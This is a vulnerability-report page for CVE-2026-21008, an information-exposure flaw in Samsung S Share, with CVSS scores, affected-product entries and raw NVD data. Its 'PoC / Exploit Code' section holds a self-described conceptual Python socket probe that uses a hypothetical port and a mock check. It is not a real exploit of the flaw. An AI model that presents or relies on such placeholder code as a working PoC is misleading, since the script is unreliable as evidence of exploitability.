Security Vulnerability Report
中文
CVE-2026-21008 CVSS 6.5 MEDIUM

CVE-2026-21008

Published: 2026-04-13 06:16:05
Last Modified: 2026-04-13 18:38:06

Description

Exposure of sensitive information in S Share prior to SMR Apr-2026 Release 1 allows adjacent attacker to access sensitive information.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:samsung:android:14.0:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:samsung:android:14.0:smr-apr-2022-r1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:samsung:android:14.0:smr-apr-2023-r1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:samsung:android:14.0:smr-apr-2024-r1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:samsung:android:14.0:smr-apr-2025-r1:*:*:*:*:*:* - VULNERABLE
S Share < SMR Apr-2026 Release 1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import sys # PoC for CVE-2026-21008: Information Disclosure in S Share # Description: This script attempts to connect to the vulnerable S Share service # on a target device within the adjacent network to check for information disclosure. # Note: This is a conceptual demonstration for educational purposes. TARGET_IP = "192.168.1.X" # Replace with target IP TARGET_PORT = 12345 # Hypothetical vulnerable port def check_vulnerability(ip, port): try: print(f"[*] Attempting to connect to {ip}:{port}...") # Establish socket connection (Simulating Adjacent Network Attack) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((ip, port)) # Send a probe packet (Simulating No Auth/No Interaction) payload = b"\x00\x01\x02" # Example probe s.send(payload) # Receive response response = s.recv(1024) print("[+] Response received:") print(response.decode('utf-8', errors='ignore')) # Check if sensitive data pattern exists (Mock check) if b"sensitive" in response.lower(): print("[!] Vulnerability Confirmed: Sensitive information exposed.") else: print("[-] Service responded but no obvious data leak detected in this probe.") s.close() except Exception as e: print(f"[-] Connection failed or service not reachable: {e}") if __name__ == "__main__": check_vulnerability(TARGET_IP, TARGET_PORT)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21008", "sourceIdentifier": "[email protected]", "published": "2026-04-13T06:16:05.360", "lastModified": "2026-04-13T18:38:06.243", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Exposure of sensitive information in S Share prior to SMR Apr-2026 Release 1 allows adjacent attacker to access sensitive information."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:-:*:*:*:*:*:*", "matchCriteriaId": "3093F6FE-C562-4F62-97B7-CA0D2DDF9BBE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-apr-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "9CBFF102-91A9-4BCC-BB43-912896BFCCEA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-apr-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "DAB2A0D7-8F4F-4128-AE09-D2658D793BF7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-apr-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "6A89AE5B-4D1A-4ADA-B572-38B1FC4ED54C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-apr-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "3F58ACB0-BA2B-4AFE-91DC-32CBD70DFD73"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-aug-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "401980A7-E64A-4773-83EB-C93B50AE0F73"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-aug-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "CC6E2FC7-2BAF-4C7B-9E0F-D9F844041A35"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-aug-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "6E12AB0B-728A-4478-B237-78CBAA2A44C5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-aug-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "26EEF3EC-643F-4A39-8F4C-11F0F534B589"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-dec-2021-r1:*:*:*:*:*:*", "matchCriteriaId": "0501033A-0D51-41E8-91A9-E72B6EE3F78D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-dec-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "2A901EFE-90BA-474C-88D2-8A3E7D99C0E7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-dec-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "DF7B3213-520A-49F0-A183-C73A37A56854"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-dec-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "9AB6398C-6A3E-4146-9A5C-595BE36047BA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-dec-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "00EE2529-013A-4F73-8D86-BD1AD613028D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-feb-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "30F706F3-34F6-4D43-AE5E-C202C700A333"}, {"vulnerable": true, "criteria": "cpe:2.3:o ... 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